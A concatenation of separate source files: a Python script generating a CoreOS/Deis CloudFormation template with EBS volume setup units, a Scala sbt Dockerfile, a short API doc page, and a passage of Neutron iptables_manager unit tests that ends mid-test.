text:
import argparse
import json
import os
import urllib2
import yaml

parser = argparse.ArgumentParser()
parser.add_argument('--channel', help='the CoreOS channel to use', default='stable')
parser.add_argument('--version', help='the CoreOS version to use', default='current')
args = vars(parser.parse_args())

CURR_DIR = os.path.dirname(os.path.realpath(__file__))

# Add AWS-specific units to the shared user-data
FORMAT_DOCKER_VOLUME = '''
  [Unit]
  Description=Formats the added EBS volume for Docker
  ConditionPathExists=!/etc/docker-volume-formatted
  [Service]
  Type=oneshot
  RemainAfterExit=yes
  ExecStart=/usr/sbin/wipefs -f /dev/xvdf
  ExecStart=/usr/sbin/mkfs.ext4 -i 4096 -b 4096 /dev/xvdf
  ExecStart=/bin/touch /etc/docker-volume-formatted
'''
MOUNT_DOCKER_VOLUME = '''
  [Unit]
  Description=Mount Docker volume to /var/lib/docker
  Requires=format-docker-volume.service
  After=format-docker-volume.service
  Before=docker.service
  [Mount]
  What=/dev/xvdf
  Where=/var/lib/docker
  Type=ext4
'''
DOCKER_DROPIN = '''
  [Unit]
  Requires=var-lib-docker.mount
  After=var-lib-docker.mount
'''
FORMAT_ETCD_VOLUME = '''
  [Unit]
  Description=Formats the etcd device
  ConditionPathExists=!/etc/etcd-volume-formatted
  [Service]
  Type=oneshot
  RemainAfterExit=yes
  ExecStart=/usr/sbin/wipefs -f /dev/xvdg
  ExecStart=/usr/sbin/mkfs.ext4 -i 4096 -b 4096 /dev/xvdg
  ExecStart=/bin/touch /etc/etcd-volume-formatted
'''
MOUNT_ETCD_VOLUME = '''
  [Unit]
  Description=Mounts the etcd volume
  Requires=format-etcd-volume.service
  After=format-etcd-volume.service
  [Mount]
  What=/dev/xvdg
  Where=/media/etcd
  Type=ext4
'''
PREPARE_ETCD_DATA_DIRECTORY = '''
  [Unit]
  Description=Prepares the etcd data directory
  Requires=media-etcd.mount
  After=media-etcd.mount
  Before=etcd2.service
  [Service]
  Type=oneshot
  RemainAfterExit=yes
  ExecStart=/usr/bin/chown -R etcd:etcd /media/etcd
'''
ETCD_DROPIN = '''
  [Unit]
  Requires=prepare-etcd-data-directory.service
  After=prepare-etcd-data-directory.service
'''

def coreos_amis(channel, version):
    url = "http://{channel}.release.core-os.net/amd64-usr/{version}/coreos_production_ami_all.json".format(channel=channel, version=version)
    try:
        amis = json.load(urllib2.urlopen(url))
    except (IOError, ValueError):
        print "The URL {} is invalid.".format(url)
        raise

    return dict(map(lambda n: (n['name'], dict(PV=n['pv'], HVM=n['hvm'])), amis['amis']))

new_units = [
    dict({'name': 'format-docker-volume.service', 'command': 'start', 'content': FORMAT_DOCKER_VOLUME}),
    dict({'name': 'var-lib-docker.mount', 'command': 'start', 'content': MOUNT_DOCKER_VOLUME}),
    dict({'name': 'docker.service', 'drop-ins': [{'name': '90-after-docker-volume.conf', 'content': DOCKER_DROPIN}]}),
    dict({'name': 'format-etcd-volume.service', 'command': 'start', 'content': FORMAT_ETCD_VOLUME}),
    dict({'name': 'media-etcd.mount', 'command': 'start', 'content': MOUNT_ETCD_VOLUME}),
    dict({'name': 'prepare-etcd-data-directory.service', 'command': 'start', 'content': PREPARE_ETCD_DATA_DIRECTORY}),
    dict({'name': 'etcd2.service', 'drop-ins': [{'name': '90-after-etcd-volume.conf', 'content': ETCD_DROPIN}]})
]

with open(os.path.join(CURR_DIR, '..', 'coreos', 'user-data'), 'r') as f:
    data = yaml.safe_load(f)

# coreos-cloudinit will start the units in order, so we want these to be processed before etcd/fleet
# are started
data['coreos']['units'] = new_units + data['coreos']['units']

# Point to the right data directory
data['coreos']['etcd2']['data-dir'] = '/media/etcd'

header = ["#cloud-config", "---"]
dump = yaml.dump(data, default_flow_style=False)

template = json.load(open(os.path.join(CURR_DIR, 'deis.template.json'), 'r'))

template['Resources']['CoreOSServerLaunchConfig']['Properties']['UserData']['Fn::Base64']['Fn::Join'] = ["\n", header + dump.split("\n")]
template['Parameters']['ClusterSize']['Default'] = str(os.getenv('DEIS_NUM_INSTANCES', 3))
template['Mappings']['CoreOSAMIs'] = coreos_amis(args['channel'], args['version'])

VPC_ID = os.getenv('VPC_ID', None)
VPC_SUBNETS = os.getenv('VPC_SUBNETS', None)
VPC_PRIVATE_SUBNETS = os.getenv('VPC_PRIVATE_SUBNETS', VPC_SUBNETS)
VPC_ZONES = os.getenv('VPC_ZONES', None)

if VPC_ID and VPC_SUBNETS and VPC_ZONES and len(VPC_SUBNETS.split(',')) == len(VPC_ZONES.split(',')):
    # skip VPC, subnet, route, and internet gateway creation
    del template['Resources']['VPC']
    del template['Resources']['Subnet1']
    del template['Resources']['Subnet2']
    del template['Resources']['Subnet1RouteTableAssociation']
    del template['Resources']['Subnet2RouteTableAssociation']
    del template['Resources']['InternetGateway']
    del template['Resources']['GatewayToInternet']
    del template['Resources']['PublicRouteTable']
    del template['Resources']['PublicRoute']
    del template['Resources']['CoreOSServerLaunchConfig']['DependsOn']
    del template['Resources']['DeisWebELB']['DependsOn']

    # update VpcId fields
    template['Resources']['DeisWebELBSecurityGroup']['Properties']['VpcId'] = VPC_ID
    template['Resources']['VPCSecurityGroup']['Properties']['VpcId'] = VPC_ID

    # update subnets and zones
    template['Resources']['CoreOSServerAutoScale']['Properties']['AvailabilityZones'] = VPC_ZONES.split(',')
    template['Resources']['CoreOSServerAutoScale']['Properties']['VPCZoneIdentifier'] = VPC_PRIVATE_SUBNETS.split(',')
    template['Resources']['DeisWebELB']['Properties']['Subnets'] = VPC_SUBNETS.split(',')

print json.dumps(template)


text:
FROM hseeberger/scala-sbt
WORKDIR /code
COPY ./build.sbt ./
COPY ./project/*.sbt  ./project/

# install the dependencies
RUN sbt update

# copy the application code
COPY ./src ./src
RUN sbt compile

CMD ["sbt", "-J-Xms128m", "-J-Xmx384m","run"]

redpajama_set_name: RedPajamaGithub


text:
+++
title = "`static void _set_has_exception(Impl &&, bool) noexcept`"
description = "Sets whether the implementation has an exception. Constexpr, never throws."
categories = ["modifiers"]
weight = 330
+++

Sets whether the implementation has an exception by setting or clearing the relevant bit in the flags. Constexpr where possible.

*Requires*: Always available.

*Complexity*: Constant time.

*Guarantees*: Never throws an exception.


text:
import os
import sys

import fixtures
import mock
from oslo_config import cfg
import testtools

from neutron._i18n import _
from neutron.agent.linux import iptables_comments as ic
from neutron.agent.linux import iptables_manager
from neutron.agent.linux import utils as linux_utils
from neutron.common import constants
from neutron.common import exceptions as n_exc
from neutron.tests import base
from neutron.tests import tools

IPTABLES_ARG = {'bn': iptables_manager.binary_name,
                'snat_out_comment': ic.SNAT_OUT,
                'filter_rules': '',
                'mark': constants.ROUTER_MARK_MASK}

NAT_TEMPLATE = ('# Generated by iptables_manager\n'
                '*nat\n'
                ':OUTPUT - [0:0]\n'
                ':POSTROUTING - [0:0]\n'
                ':PREROUTING - [0:0]\n'
                ':neutron-postrouting-bottom - [0:0]\n'
                ':%(bn)s-OUTPUT - [0:0]\n'
                ':%(bn)s-POSTROUTING - [0:0]\n'
                ':%(bn)s-PREROUTING - [0:0]\n'
                ':%(bn)s-float-snat - [0:0]\n'
                ':%(bn)s-snat - [0:0]\n'
                '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
                '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
                '-I POSTROUTING 2 -j neutron-postrouting-bottom\n'
                '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
                '-I neutron-postrouting-bottom 1 -j %(bn)s-snat\n'
                '-I %(bn)s-snat 1 -j '
                '%(bn)s-float-snat\n'
                'COMMIT\n'
                '# Completed by iptables_manager\n')

NAT_DUMP = NAT_TEMPLATE % IPTABLES_ARG

FILTER_TEMPLATE = ('# Generated by iptables_manager\n'
                   '*filter\n'
                   ':FORWARD - [0:0]\n'
                   ':INPUT - [0:0]\n'
                   ':OUTPUT - [0:0]\n'
                   ':neutron-filter-top - [0:0]\n'
                   ':%(bn)s-FORWARD - [0:0]\n'
                   ':%(bn)s-INPUT - [0:0]\n'
                   ':%(bn)s-OUTPUT - [0:0]\n'
                   ':%(bn)s-local - [0:0]\n'
                   '-I FORWARD 1 -j neutron-filter-top\n'
                   '-I FORWARD 2 -j %(bn)s-FORWARD\n'
                   '-I INPUT 1 -j %(bn)s-INPUT\n'
                   '-I OUTPUT 1 -j neutron-filter-top\n'
                   '-I OUTPUT 2 -j %(bn)s-OUTPUT\n'
                   '-I neutron-filter-top 1 -j %(bn)s-local\n'
                   'COMMIT\n'
                   '# Completed by iptables_manager\n')

FILTER_DUMP = FILTER_TEMPLATE % IPTABLES_ARG

FILTER_WITH_RULES_TEMPLATE = (
    '# Generated by iptables_manager\n'
    '*filter\n'
    ':FORWARD - [0:0]\n'
    ':INPUT - [0:0]\n'
    ':OUTPUT - [0:0]\n'
    ':neutron-filter-top - [0:0]\n'
    ':%(bn)s-FORWARD - [0:0]\n'
    ':%(bn)s-INPUT - [0:0]\n'
    ':%(bn)s-OUTPUT - [0:0]\n'
    ':%(bn)s-filter - [0:0]\n'
    ':%(bn)s-local - [0:0]\n'
    '-I FORWARD 1 -j neutron-filter-top\n'
    '-I FORWARD 2 -j %(bn)s-FORWARD\n'
    '-I INPUT 1 -j %(bn)s-INPUT\n'
    '-I OUTPUT 1 -j neutron-filter-top\n'
    '-I OUTPUT 2 -j %(bn)s-OUTPUT\n'
    '-I neutron-filter-top 1 -j %(bn)s-local\n'
    '%(filter_rules)s'
    'COMMIT\n'
    '# Completed by iptables_manager\n')

COMMENTED_NAT_DUMP = (
    '# Generated by iptables_manager\n'
    '*nat\n'
    ':OUTPUT - [0:0]\n'
    ':POSTROUTING - [0:0]\n'
    ':PREROUTING - [0:0]\n'
    ':neutron-postrouting-bottom - [0:0]\n'
    ':%(bn)s-OUTPUT - [0:0]\n'
    ':%(bn)s-POSTROUTING - [0:0]\n'
    ':%(bn)s-PREROUTING - [0:0]\n'
    ':%(bn)s-float-snat - [0:0]\n'
    ':%(bn)s-snat - [0:0]\n'
    '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
    '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
    '-I POSTROUTING 2 -j neutron-postrouting-bottom\n'
    '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
    '-I neutron-postrouting-bottom 1 '
    '-m comment --comment "%(snat_out_comment)s" -j %(bn)s-snat\n'
    '-I %(bn)s-snat 1 -j '
    '%(bn)s-float-snat\n'
    'COMMIT\n'
    '# Completed by iptables_manager\n' % IPTABLES_ARG)

TRAFFIC_COUNTERS_DUMP = (
    'Chain OUTPUT (policy ACCEPT 400 packets, 65901 bytes)\n'
    '    pkts      bytes target     prot opt in     out     source'
    '               destination         \n'
    '     400   65901 chain1     all  --  *      *       0.0.0.0/0'
    '            0.0.0.0/0           \n'
    '     400   65901 chain2     all  --  *      *       0.0.0.0/0'
    '            0.0.0.0/0           \n')

FILTER_RESTORE_DUMP = ('# Generated by iptables_manager\n'
                       '*filter\n'
                       ':FORWARD - [0:0]\n'
                       ':INPUT - [0:0]\n'
                       ':OUTPUT - [0:0]\n'
                       ':neutron-filter-top - [0:0]\n'
                       ':%(bn)s-FORWARD - [0:0]\n'
                       ':%(bn)s-INPUT - [0:0]\n'
                       ':%(bn)s-OUTPUT - [0:0]\n'
                       ':%(bn)s-test-filter - [0:0]\n'
                       ':%(bn)s-local - [0:0]\n'
                       '-A FORWARD -j neutron-filter-top\n'
                       '-A FORWARD -j %(bn)s-FORWARD\n'
                       '-A INPUT -j %(bn)s-INPUT\n'
                       '-A OUTPUT -j neutron-filter-top\n'
                       '-A OUTPUT -j %(bn)s-OUTPUT\n'
                       '-A neutron-filter-top -j %(bn)s-local\n'
                       '%(filter_rules)s'
                       'COMMIT\n'
                       '# Completed by iptables_manager\n')

NAT_RESTORE_TEMPLATE = ('# Generated by iptables_manager\n'
                        '*nat\n'
                        ':OUTPUT - [0:0]\n'
                        ':POSTROUTING - [0:0]\n'
                        ':PREROUTING - [0:0]\n'
                        ':neutron-postrouting-bottom - [0:0]\n'
                        ':%(bn)s-OUTPUT - [0:0]\n'
                        ':%(bn)s-POSTROUTING - [0:0]\n'
                        ':%(bn)s-PREROUTING - [0:0]\n'
                        ':%(bn)s-float-snat - [0:0]\n'
                        ':%(bn)s-snat - [0:0]\n'
                        '-A OUTPUT -j %(bn)s-OUTPUT\n'
                        '-A POSTROUTING -j %(bn)s-POSTROUTING\n'
                        '-A POSTROUTING -j neutron-postrouting-bottom\n'
                        '-A PREROUTING -j %(bn)s-PREROUTING\n'
                        '-A neutron-postrouting-bottom -j %(bn)s-snat\n'
                        '-A %(bn)s-snat -j '
                        '%(bn)s-float-snat\n'
                        'COMMIT\n'
                        '# Completed by iptables_manager\n')

NAT_RESTORE_DUMP = NAT_RESTORE_TEMPLATE % IPTABLES_ARG

class IptablesTestCase(base.BaseTestCase):

    def test_get_binary_name_in_unittest(self):
        # Corresponds to sys.argv content when running python -m unittest class
        with mock.patch('sys.argv', ['python -m unittest', 'class']):
            binary_name = iptables_manager.get_binary_name()
            self.assertEqual('python_-m_unitte', binary_name)

class IptablesCommentsTestCase(base.BaseTestCase):

    def setUp(self):
        super(IptablesCommentsTestCase, self).setUp()
        cfg.CONF.set_override('comment_iptables_rules', True, 'AGENT')
        self.iptables = iptables_manager.IptablesManager()
        self.execute = mock.patch.object(self.iptables, "execute").start()

    def test_comments_short_enough(self):
        for attr in dir(ic):
            if not attr.startswith('__') and len(getattr(ic, attr)) > 255:
                self.fail("Iptables comment %s is longer than 255 characters."
                          % attr)

    def test_reordering_of_jump_rule_comments(self):
        # jump at the start
        self.assertEqual(
            '-m comment --comment "aloha" -j sg-chain',
            iptables_manager.comment_rule('-j sg-chain', 'aloha'))
        # jump in the middle
        self.assertEqual(
            '-s source -m comment --comment "aloha" -j sg-chain',
            iptables_manager.comment_rule('-s source -j sg-chain', 'aloha'))
        # no jump rule
        self.assertEqual(
            '-s source -m comment --comment "aloha"',
            iptables_manager.comment_rule('-s source', 'aloha'))

    def test_add_filter_rule(self):
        iptables_args = {}
        iptables_args.update(IPTABLES_ARG)
        filter_rules = ('-I %(bn)s-INPUT 1 -s 0/0 -d 192.168.0.2 -j '
                        '%(bn)s-filter\n-I %(bn)s-filter 1 -j DROP\n'
                        % iptables_args)
        iptables_args['filter_rules'] = filter_rules
        filter_dump_mod = FILTER_WITH_RULES_TEMPLATE % iptables_args

        raw_dump = _generate_raw_dump(IPTABLES_ARG)
        mangle_dump = _generate_mangle_dump(IPTABLES_ARG)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + mangle_dump +
                                      COMMENTED_NAT_DUMP + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + mangle_dump +
                                      COMMENTED_NAT_DUMP + raw_dump),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('filter')
        self.iptables.ipv4['filter'].add_rule('filter', '-j DROP')
        self.iptables.ipv4['filter'].add_rule('INPUT',
                                              '-s 0/0 -d 192.168.0.2 -j'
                                              ' %(bn)s-filter' % IPTABLES_ARG)
        self.iptables.apply()

        self.iptables.ipv4['filter'].remove_rule('filter', '-j DROP')
        self.iptables.ipv4['filter'].remove_rule('INPUT',
                                                 '-s 0/0 -d 192.168.0.2 -j'
                                                 ' %(bn)s-filter'
                                                 % IPTABLES_ARG)
        self.iptables.ipv4['filter'].remove_chain('filter')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

def _generate_mangle_dump(iptables_args):
    return ('# Generated by iptables_manager\n'
            '*mangle\n'
            ':FORWARD - [0:0]\n'
            ':INPUT - [0:0]\n'
            ':OUTPUT - [0:0]\n'
            ':POSTROUTING - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-FORWARD - [0:0]\n'
            ':%(bn)s-INPUT - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-POSTROUTING - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            ':%(bn)s-mark - [0:0]\n'
            '-I FORWARD 1 -j %(bn)s-FORWARD\n'
            '-I INPUT 1 -j %(bn)s-INPUT\n'
            '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
            '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
            '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
            '-I %(bn)s-PREROUTING 1 -j %(bn)s-mark\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % iptables_args)

def _generate_mangle_dump_v6(iptables_args):
    return ('# Generated by iptables_manager\n'
            '*mangle\n'
            ':FORWARD - [0:0]\n'
            ':INPUT - [0:0]\n'
            ':OUTPUT - [0:0]\n'
            ':POSTROUTING - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-FORWARD - [0:0]\n'
            ':%(bn)s-INPUT - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-POSTROUTING - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            '-I FORWARD 1 -j %(bn)s-FORWARD\n'
            '-I INPUT 1 -j %(bn)s-INPUT\n'
            '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
            '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
            '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % iptables_args)

def _generate_raw_dump(iptables_args):
    return ('# Generated by iptables_manager\n'
            '*raw\n'
            ':OUTPUT - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
            '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % iptables_args)

def _generate_mangle_restore_dump(iptables_args):
    return ('# Generated by iptables_manager\n'
            '*mangle\n'
            ':FORWARD - [0:0]\n'
            ':INPUT - [0:0]\n'
            ':OUTPUT - [0:0]\n'
            ':POSTROUTING - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-FORWARD - [0:0]\n'
            ':%(bn)s-INPUT - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-POSTROUTING - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            ':%(bn)s-mark - [0:0]\n'
            '-A FORWARD -j %(bn)s-FORWARD\n'
            '-A INPUT -j %(bn)s-INPUT\n'
            '-A OUTPUT -j %(bn)s-OUTPUT\n'
            '-A POSTROUTING -j %(bn)s-POSTROUTING\n'
            '-A PREROUTING -j %(bn)s-PREROUTING\n'
            '-A %(bn)s-PREROUTING -j %(bn)s-mark\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % iptables_args)

def _generate_raw_restore_dump(iptables_args):
    return ('# Generated by iptables_manager\n'
            '*raw\n'
            ':OUTPUT - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            '-A OUTPUT -j %(bn)s-OUTPUT\n'
            '-A PREROUTING -j %(bn)s-PREROUTING\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % iptables_args)

MANGLE_DUMP = _generate_mangle_dump(IPTABLES_ARG)
MANGLE_DUMP_V6 = _generate_mangle_dump_v6(IPTABLES_ARG)
RAW_DUMP = _generate_raw_dump(IPTABLES_ARG)
MANGLE_RESTORE_DUMP = _generate_mangle_restore_dump(IPTABLES_ARG)
RAW_RESTORE_DUMP = _generate_raw_restore_dump(IPTABLES_ARG)

class IptablesFixture(fixtures.Fixture):
    def _setUp(self):
        # We MUST save and restore use_table_lock because it is a class
        # attribute and could change state in some tests, which can cause
        # the other iptables_manager test cases to randomly fail due to
        # race conditions.
        self.use_table_lock = iptables_manager.IptablesManager.use_table_lock
        iptables_manager.IptablesManager.use_table_lock = False
        self.addCleanup(self._reset)

    def _reset(self):
        iptables_manager.IptablesManager.use_table_lock = self.use_table_lock

class IptablesManagerBaseTestCase(base.BaseTestCase):
    def setUp(self):
        super(IptablesManagerBaseTestCase, self).setUp()
        cfg.CONF.set_override('comment_iptables_rules', False, 'AGENT')
        cfg.CONF.set_override('report_interval', 30, 'AGENT')
        self.execute = mock.patch.object(linux_utils, "execute").start()
        self.useFixture(IptablesFixture())

    def _extend_with_ip6tables_filter_end(self, expected_calls, filter_dump):
        expected_calls.extend([
            (mock.call(['ip6tables-save'],
                      run_as_root=True),
             ''),
            (mock.call(['ip6tables-restore', '-n'],
                      process_input=filter_dump,
                      run_as_root=True, log_fail_as_error=False),
             None)])

    def _extend_with_ip6tables_filter(self, expected_calls, filter_dump):
        expected_calls.insert(2, (
            mock.call(['ip6tables-save'],
                      run_as_root=True),
            ''))
        expected_calls.insert(3, (
            mock.call(['ip6tables-restore', '-n'],
                      process_input=filter_dump,
                      run_as_root=True, log_fail_as_error=False),
            None))
        self._extend_with_ip6tables_filter_end(expected_calls, filter_dump)

class IptablesManagerStateFulTestCase(IptablesManagerBaseTestCase):
    use_ipv6 = False

    def setUp(self):
        super(IptablesManagerStateFulTestCase, self).setUp()
        self.iptables = iptables_manager.IptablesManager(
            use_ipv6=self.use_ipv6)

    def test_binary_name(self):
        expected = os.path.basename(sys.argv[0])[:16]
        self.assertEqual(expected, iptables_manager.binary_name)

    def test_get_chain_name(self):
        name = '0123456789' * 5
        # 28 chars is the maximum length of iptables chain name.
        self.assertEqual(iptables_manager.get_chain_name(name, wrap=False),
                         name[:28])
        # 11 chars is the maximum length of chain name of iptable_manager
        # if binary_name is prepended.
        self.assertEqual(iptables_manager.get_chain_name(name, wrap=True),
                         name[:11])

    def test_defer_apply_with_exception(self):
        self.iptables._apply = mock.Mock(side_effect=Exception)
        with testtools.ExpectedException(n_exc.IpTablesApplyException):
            with self.iptables.defer_apply():
                pass

    def test_add_and_remove_chain(self):
        filter_dump_mod = FILTER_WITH_RULES_TEMPLATE % IPTABLES_ARG

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + MANGLE_DUMP +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP + NAT_DUMP +
                                      RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + RAW_DUMP)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('filter')
        self.iptables.apply()

        self.iptables.ipv4['filter'].remove_chain('filter')
        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_filter_rule(self):
        iptables_args = {}
        iptables_args.update(IPTABLES_ARG)
        filter_rules = ('-I %(bn)s-INPUT 1 -s 0/0 -d 192.168.0.2 -j '
                        '%(bn)s-filter\n-I %(bn)s-filter 1 -j DROP\n'
                        % iptables_args)
        iptables_args['filter_rules'] = filter_rules
        filter_dump_mod = FILTER_WITH_RULES_TEMPLATE % iptables_args

        raw_dump = RAW_DUMP % IPTABLES_ARG

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + MANGLE_DUMP +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP + NAT_DUMP +
                                      RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + raw_dump)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain('filter')
        self.iptables.ipv4['filter'].add_rule('filter', '-j DROP')
        self.iptables.ipv4['filter'].add_rule('INPUT',
                                              '-s 0/0 -d 192.168.0.2 -j'
                                              ' %(bn)s-filter' % IPTABLES_ARG)
        self.iptables.apply()

        self.iptables.ipv4['filter'].remove_rule('filter', '-j DROP')
        self.iptables.ipv4['filter'].remove_rule('INPUT',
                                                 '-s 0/0 -d 192.168.0.2 -j'
                                                 ' %(bn)s-filter'
                                                 % IPTABLES_ARG)
        self.iptables.ipv4['filter'].remove_chain('filter')

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_rule_with_wrap_target(self):
        name = '0123456789' * 5
        wrap = "%s-%s" % (iptables_manager.binary_name,
                          iptables_manager.get_chain_name(name))

        iptables_args = {'bn': iptables_manager.binary_name,
                         'wrap': wrap}

        filter_dump_mod = ('# Generated by iptables_manager\n'
                           '*filter\n'
                           ':FORWARD - [0:0]\n'
                           ':INPUT - [0:0]\n'
                           ':OUTPUT - [0:0]\n'
                           ':neutron-filter-top - [0:0]\n'
                           ':%(wrap)s - [0:0]\n'
                           ':%(bn)s-FORWARD - [0:0]\n'
                           ':%(bn)s-INPUT - [0:0]\n'
                           ':%(bn)s-OUTPUT - [0:0]\n'
                           ':%(bn)s-local - [0:0]\n'
                           '-I FORWARD 1 -j neutron-filter-top\n'
                           '-I FORWARD 2 -j %(bn)s-FORWARD\n'
                           '-I INPUT 1 -j %(bn)s-INPUT\n'
                           '-I OUTPUT 1 -j neutron-filter-top\n'
                           '-I OUTPUT 2 -j %(bn)s-OUTPUT\n'
                           '-I neutron-filter-top 1 -j %(bn)s-local\n'
                           '-I %(bn)s-INPUT 1 -s 0/0 -d 192.168.0.2 -j '
                           '%(wrap)s\n'
                           'COMMIT\n'
                           '# Completed by iptables_manager\n'
                           % iptables_args)

        raw_dump = RAW_DUMP % IPTABLES_ARG

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(filter_dump_mod + MANGLE_DUMP +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + raw_dump)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['filter'].add_chain(name)
        self.iptables.ipv4['filter'].add_rule('INPUT',
                                              '-s 0/0 -d 192.168.0.2 -j'
                                              ' $%s' % name)
        self.iptables.apply()

        self.iptables.ipv4['filter'].remove_rule('INPUT',
                                                 '-s 0/0 -d 192.168.0.2 -j'
                                                 ' $%s' % name)
        self.iptables.ipv4['filter'].remove_chain(name)

        self.iptables.apply()

        tools.verify_mock_calls(self.execute, expected_calls_and_values)

    def test_add_mangle_rule(self):
        mangle_dump_mod = (
            '# Generated by iptables_manager\n'
            '*mangle\n'
            ':FORWARD - [0:0]\n'
            ':INPUT - [0:0]\n'
            ':OUTPUT - [0:0]\n'
            ':POSTROUTING - [0:0]\n'
            ':PREROUTING - [0:0]\n'
            ':%(bn)s-FORWARD - [0:0]\n'
            ':%(bn)s-INPUT - [0:0]\n'
            ':%(bn)s-OUTPUT - [0:0]\n'
            ':%(bn)s-POSTROUTING - [0:0]\n'
            ':%(bn)s-PREROUTING - [0:0]\n'
            ':%(bn)s-mangle - [0:0]\n'
            ':%(bn)s-mark - [0:0]\n'
            '-I FORWARD 1 -j %(bn)s-FORWARD\n'
            '-I INPUT 1 -j %(bn)s-INPUT\n'
            '-I OUTPUT 1 -j %(bn)s-OUTPUT\n'
            '-I POSTROUTING 1 -j %(bn)s-POSTROUTING\n'
            '-I PREROUTING 1 -j %(bn)s-PREROUTING\n'
            '-I %(bn)s-PREROUTING 1 -j %(bn)s-mark\n'
            '-I %(bn)s-PREROUTING 2 -j MARK --set-xmark 0x1/%(mark)s\n'
            'COMMIT\n'
            '# Completed by iptables_manager\n' % IPTABLES_ARG)

        expected_calls_and_values = [
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + mangle_dump_mod +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
            (mock.call(['iptables-save'],
                       run_as_root=True),
             ''),
            (mock.call(['iptables-restore', '-n'],
                       process_input=(FILTER_DUMP + MANGLE_DUMP +
                                      NAT_DUMP + RAW_DUMP),
                       run_as_root=True, log_fail_as_error=False),
             None),
        ]
        if self.use_ipv6:
            self._extend_with_ip6tables_filter(
                expected_calls_and_values,
                FILTER_DUMP + MANGLE_DUMP_V6 + RAW_DUMP)

        tools.setup_mock_calls(self.execute, expected_calls_and_values)

        self.iptables.ipv4['mangle'].add_chain('mangle')
        self.iptables.ipv4['mangle'].add_rule(
